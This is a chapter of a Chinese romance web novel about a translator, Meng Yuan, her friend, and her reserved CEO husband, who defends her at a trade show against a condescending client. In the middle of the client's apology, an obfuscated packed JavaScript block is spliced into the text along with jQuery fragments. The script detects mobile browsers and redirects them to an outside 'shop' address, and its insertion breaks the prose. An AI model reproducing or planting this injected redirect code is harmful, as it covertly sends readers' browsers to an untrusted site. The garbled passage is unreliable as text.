十分钟后。
孟沅挂断取消餐厅预约的电话。
一小时后，孟沅出现在公寓门口，颜音给她开了门。
见面第一句，颜音说：“他爽你约。”
孟沅站在玄关处，换拖鞋：“临时有工作安排。”
“大忙人啊。”颜音丢下句走进去，她们俩关系好，都当自家人处。
孟沅也走进去：“你这屋子够敞亮。”
颜音笑了笑：“看得出来你喜欢了，每次来都要说次。”
“来吧，老公不在家，背着你老公，我们小姐妹偷偷吃火锅。”
孟沅被她这话逗得无奈笑，洗干净手，看着她在餐桌旁拿食材，打开冰箱。
“你还是喝椰汁？”
孟沅没得到回应，转头，看到颜音两条手臂绕到身后，左手举着团空气，右手横过后脑勺，做了个椰汁包装上白色衣服女人，同样的那个姿势。
“懂了。”
孟沅拿了盒椰汁出来，跟包装盒上的女人面面相觑，成功被逗笑出了声。
这间一居室的公寓，空间不大，可胜在麻雀虽小五脏俱全，光照很好。
小餐桌面前，颜音问：“你心里就没点不舒服，不高兴？”
孟沅平淡说：“我有什么不高兴的。”
想了想，又说，“要是他只为了跟我吃顿饭，就推掉工作，那才不像他。”
“也是。”颜音说，“他可是个公认的顶级工作狂。”
颜音拿过纸袋，以为是让孟沅买来的芒果千层，结果一眼看到里面的鞋盒，是款牌子，随便一双都要个把月工资。
“什么活动，这么大出血啊？”
“能看看吗？”
孟沅说：“可以啊。”
正好她也没看。
颜音这才发现纸袋里面，竟然还有盒润喉糖，打开鞋盒，是双崭新的女士平底鞋，纯黑色，很百搭简约的款。
一搜，果然是在五位数以上。
孟沅对上目光：“不是我买的。”
她哪有这么奢侈。
颜音顿时就猜到是谁送的，孟沅今天一身知性职业装，估计刚从展会回来，她把纸袋放到一边。
“那他还挺贴心。”
觉得自己有丁点叛变的倾向，又说：“不过爽你约这件事，没过去。”
孟沅知道她这副护短姐妹的性子：“芒果千层放冰箱里了。”
“沅沅仙女，爱你。”
颜音把鞋盒装了回去，起身去洗手。
吃完小火锅，孟沅跟颜音聊了会，明天她们都有工作，颜音把她送到门口。
“哎，要是你顺利搬到楼上就好了。”
孟沅说：“外面冷，你快进去吧。”
颜音闻了闻：“我俩现在一身火锅味。”
孟沅说：“本来就是要洗头，才吃这顿火锅的。”
“走了。”
颜音“嗯”了声：“路上小心，到家，记得给我发条消息。”
孟沅说：“知道了。”
-
清早餐桌旁，伍姨看着安静吃饭的年轻姑娘，没忍住一叹，又叹气。
孟沅问：“伍姨，是有什么事吗？”
伍姨笑了笑：“昨晚没睡好。”
总不能说，她刚想好接下班，能让小夫妻培养感情的好主意，结果才接了一次，岑见桉转头就去出差。
她家的这个工作狂大少爷，什么时候才能有搬到主卧的机会。
还为了工作，推掉跟太太的约，天知道她知道，小夫妻要出去吃饭，当晚不用她准备晚餐的时候，心里有多激动。
结果这么公事公办，不解风情。
她要是太太，都不想理这个男人了。
孟沅看着伍姨一愁二叹三幽怨，想了想认真说：“睡前喝点牛奶，可以助眠。”
“好，我试试。”伍姨越觉得太太体贴，好脾气，又善解人意，想着回来就给男人做最不爱吃的苦瓜。
孟沅一连工作了几天，伍姨给她换着法地做好吃的，男主人不在家，反而伙食程度更上了一层楼。
有天，孟沅早回家，看到伍姨在包小馄饨，她洗干净手，也跟着帮忙。
伍姨说：“包点小馄饨，放到冰箱里，你下班晚了，饿了，有时候阿桉在晚宴上，吃得不怎么合胃口，都可以煮宵夜吃。”
孟沅问：“他喜欢吃小馄饨？”
伍姨特别自然地说：“你包的，他肯定喜欢。”
孟沅微垂着眼，已经很适应伍姨话里话外的撮合。
“还是伍姨包得漂亮。”
伍姨看了眼：“你包得也漂亮。”
等把包好的小馄饨，放好到冰箱。
伍姨问：“哪天约着吃饭？”
孟沅说：“还没定，等他回来。”
那就是还有戏，伍姨说：“让阿桉大出血一次，别跟他客气。”
“好。”孟沅心想就算宰岑见桉一百次，以他的身家，也不可能让他大出血。
孟沅被安排展会陪同翻译，来之前江言晶特意带她去公司的发财树拜了拜，给她求点好运。
那位汽车公司的严总，在同事里风评很一般，是那种能避开，就尽量避开的存在。
工作时，孟沅跟在严总身边，见了形形色色的人。
严总遇到相熟的老总交谈，说中文，孟沅用不着翻译，就站在几步外等。
隐约有提到听到岑总。
孟沅想起刚到场的那会，远远看到岑见桉，深色西装笔挺，身后跟着特助和高管。
几天没见，很熟悉又陌生。
依旧是那个冷淡、身处高位的岑总。
这种科技会展，能见到他不意外。
孟沅继续翻译工作，会展快结束。
严总说：“你们翻译，以后是不是都要失业，现在AI机器这么先进。”
诸如这种的话，孟沅从业开始，就听过了很多次，没有翻译软件翻的快，没有翻译软件准，对翻译员没有任何的尊重。
孟沅说：“目前还取代不了。”
严总笑了笑：“小孟，你看你长得这么漂亮，怎么就做了翻译？”
孟沅静静听着，在工作中，她也明白了一件事，并不是所有身家和地位高、外表衣冠楚楚的人，就会有修养。
“严总，人各有志，也不是谁都是能做老板的料。”
还在工作时间，孟沅得罪不了客户，只当是耳旁风，打些体面的官腔。
严总又说：“你看我身边的秘书，英文也好，能做好秘书，也能喝酒，带出去应酬。小孟，你当这个翻译，就不能单纯只是当个翻译，就算翻译水平再高、再好又怎样？还能有机器准确？压根不需要你的翻译水平有多高。”
孟沅听着他的爹味发言，很傲慢，很多外行人都有个误区，翻译只是会门语言，谁懂门外语来都行。
至于这位严总的秘书，在同事们嘴里的风评，就更差了，他仗着自己外语好，会打断同事的翻译，说哪里翻译的不对，这个单词表达的意思不对，以此在老板面前表现。
她唯一庆幸今天，这个秘书没跟来。
“小孟啊，你听我的，你们明谊，怎么说都是航远集团下的公司，机会多，前景好，别浪费人才，多找点以后别的出路。”
旁边还有个帮腔的老板，附和着。
平常同事们不敢得罪客户，就是听着，也就导致这些老板，给自己员工上教育课堂还不够。
这种话术，孟沅已经听腻了，听了上句她都能反应出下句，自己都快倒背如流了。
“我在跟你说话，在往哪看？”
严总皱眉，很不悦，对她的分心，很不满意。
转眼，看清眼前站着的男人。
脸色很突然，就变了又变：“岑总，您怎么在这？”
跟刚刚很傲慢教育人的腔调，一转百八十个改变，变得殷勤又谄媚。
孟沅也就是比严总，要早上一点，看到站在身旁的岑见桉。
也不知道他在旁边多久，又听到了多少轻慢的话。
孟沅站旁边，也跟着叫了声岑总。
岑见桉应了声。
孟沅看到男人只是很淡地瞥了她眼，没多在意她这个人。
这位严总在外很重视行头，只从外表看过去，高级西装和黑色皮鞋，算得上衣冠楚楚的企业家。
可站在岑见桉旁边，气质差太远，气度又矮了一截，被衬得像是卖保险。
岑见桉淡声说：“严总。”
严总被这声叫得，手心都在冒汗，心里摸不准这位岑总的意思，这个翻译员无关紧要，可偏偏她所属的明谊公司，是航远集团下的公司，正是他手底下的员工。
这阵沉默更像是折磨。
岑见桉不急不慢地说：“翻译从业者如果不重视专业能力，那翻译公司和翻译员，也就没什么存在的必要了。”
“各司其职的道理，严总，你觉得呢。”
这话四两拨千斤，男人深色手工西装笔挺，侧脸矜贵冷淡，不动声色的威严。
严总哪敢说句不，就算是旁边有员工和其他老板，也得腆着笑：“岑总，您说得是，是我眼界低了。”
他哪里看不出来，这位向来在生意场上杀伐决断的岑总，业内贵公子，这是在当众护短员工。
从见着面，岑总就没多看过这个翻译员一眼，不怎么在意、可有可无的态度，想来是听出她是明谊的翻译员，既是他的员工，她在人前的面子，就是岑总的面子。
他脑袋转得很快：“小孟，我老严，这就当场跟你道个歉，感谢你今天这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292404|198510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么优秀的翻译，我那些不专业的话，就当没听个响，千万别跟我这个外行一般见识。”
道歉，亦或是道谢，没有多真心实意，谄媚的对象在场，才一改刚刚看不起人的傲慢嘴脸，变得客客气气。
孟沅说：“严总，说笑了，哪用得着跟我道歉。”
她表情温淡，话也说得礼貌得体。
严总被大人物当场下了面子，脸上挂不住，此刻尴尬又惶恐，见岑见桉没有离开，态度也冷淡。
“岑总，您还有什么安排？”
岑见桉说：“没事，不打扰你们工作。”
周围人多眼杂，孟沅只能说：“岑总，您慢走。”
岑见桉淡应了声，走开，身旁的游特助也跟着离开。
-
孟沅又上了岑见桉的车。
修长指骨漫不经心轻叩了下方向盘。
“还有安排？”
“没有。”孟沅记得他的行程，是刚结束场晚宴，微顿了下，“你有吗？”
岑见桉说：“没有。”
“回家？”
孟沅说：“嗯，回家吧。”
车在路上行驶。
岑见桉问：“有再定好时间吗？”
孟沅听出岑见桉在问那顿饭：“没有，不清楚你哪天能返程。”
岑见桉说：“最近一周都有空。”
他已经推过她一次约，没道理再不给出点诚意。
孟沅说：“那我想好，跟你确定时间？”
岑见桉说：“嗯。”
到了私人停车库，孟沅先下车，站在旁边等男人下车。
岑见桉看到她手指微揉了点鼻尖，微红了一小圈。
随后，西装外套落在肩上。
与此同时，孟沅偏过了点头，晚上外面起了风，被冷到了。
孟沅跟着岑见桉上电梯，肩膀上还披着深色的西装外套，清冽气息将她覆紧。
她抬眸，看了眼。
跟她隔了小半步的男人，身形很高，近一米九的身型，白色手工衬衫撑得起宽肩，收束进劲实的窄腰，两条笔直长腿掩在西装裤里，那股很成熟禁欲的性感。
到了楼层，一层一户，私密性很强。
客厅里开着灯，孟沅把外套脱下来，递过去：“你的外套。”
岑见桉接过，把西装外套随意地搭在臂弯，口吻很淡：“冷到了，煮点姜汤喝，小心感冒。”
孟沅嗯了声：“你要喝杯温水吗？”
岑见桉看出她有事要说：“可以有杯。”
岛台厨房边，孟沅说：“今天的事，要多谢你。”
虽然这些轻慢的话，是每个译员都听过很多次的话，可人心毕竟是肉长的，他作为集团大老板当众护短，她这个底下的员工心里感激。
岑见桉口吻很淡：“你的脸面，自然也是我的脸面。”
孟沅知道这个道理，岑见桉今天当众下了严总的面子，这圈子消息传得快，以后看在岑总的面子上，出于忌惮，别人对明谊的员工，多少会多那点尊重。
忽而就想起江言晶说的那句，岑总是个好老板，孟沅觉得这话确实太有道理。
孟沅在路上，确认了一周的安排：“吃饭定在周日晚，可以吗？”
岑见桉说：“可以。”
孟沅握着杯子，忽而改变了主意，最近临北异常降温，容易生病，不如煮点姜汤，反正她一个人喝，是喝，多煮点，也顺道给岑见桉驱点外头寒气。
“你平常喝姜汤吗？”
岑见桉说：“喝不惯。”
“嗯。”孟沅还是微动嘴唇，“阿桉。”
上次男人说的换称呼，她思来想去，还是该给他个明确的答复。
岑见桉听了没反应：“还有什么事？”
孟沅说：“冰箱里有小馄饨，要待会吗？我有点饿了。”
她确实饿了，想煮一小碗，吃独食，不怎么好意思，而且男人从晚宴回来，她听伍姨说过，有时候他晚宴不怎么合胃口。
岑见桉瞥了眼女人，刚问姜汤，现在又说她饿了，冰箱里有小馄饨，问他要不要待会，暗示委婉了一晚上，是想让他帮忙煮？
孟沅在沉默中说：“那算了，早点睡。”
她刚被拒绝了姜汤，不想再被拒绝第二次，于是暗示了下，看岑见桉没反应，应该是不想留下来吃小馄饨的意思。
只是刚说完，忽而鼻尖痒，很下意识极轻地吸了下。
岑见桉看她确实是受冷到了，他没照顾女人的习惯。
其他女人也不会有机会，让他做什么。
孟沅是他的太太，显然不在其他女人的范畴里，他照顾是应该。
男人微按了下鼻根，起身，取走她手里的杯子，淡声说：“你去冲热水澡，驱寒气，我给你煮。”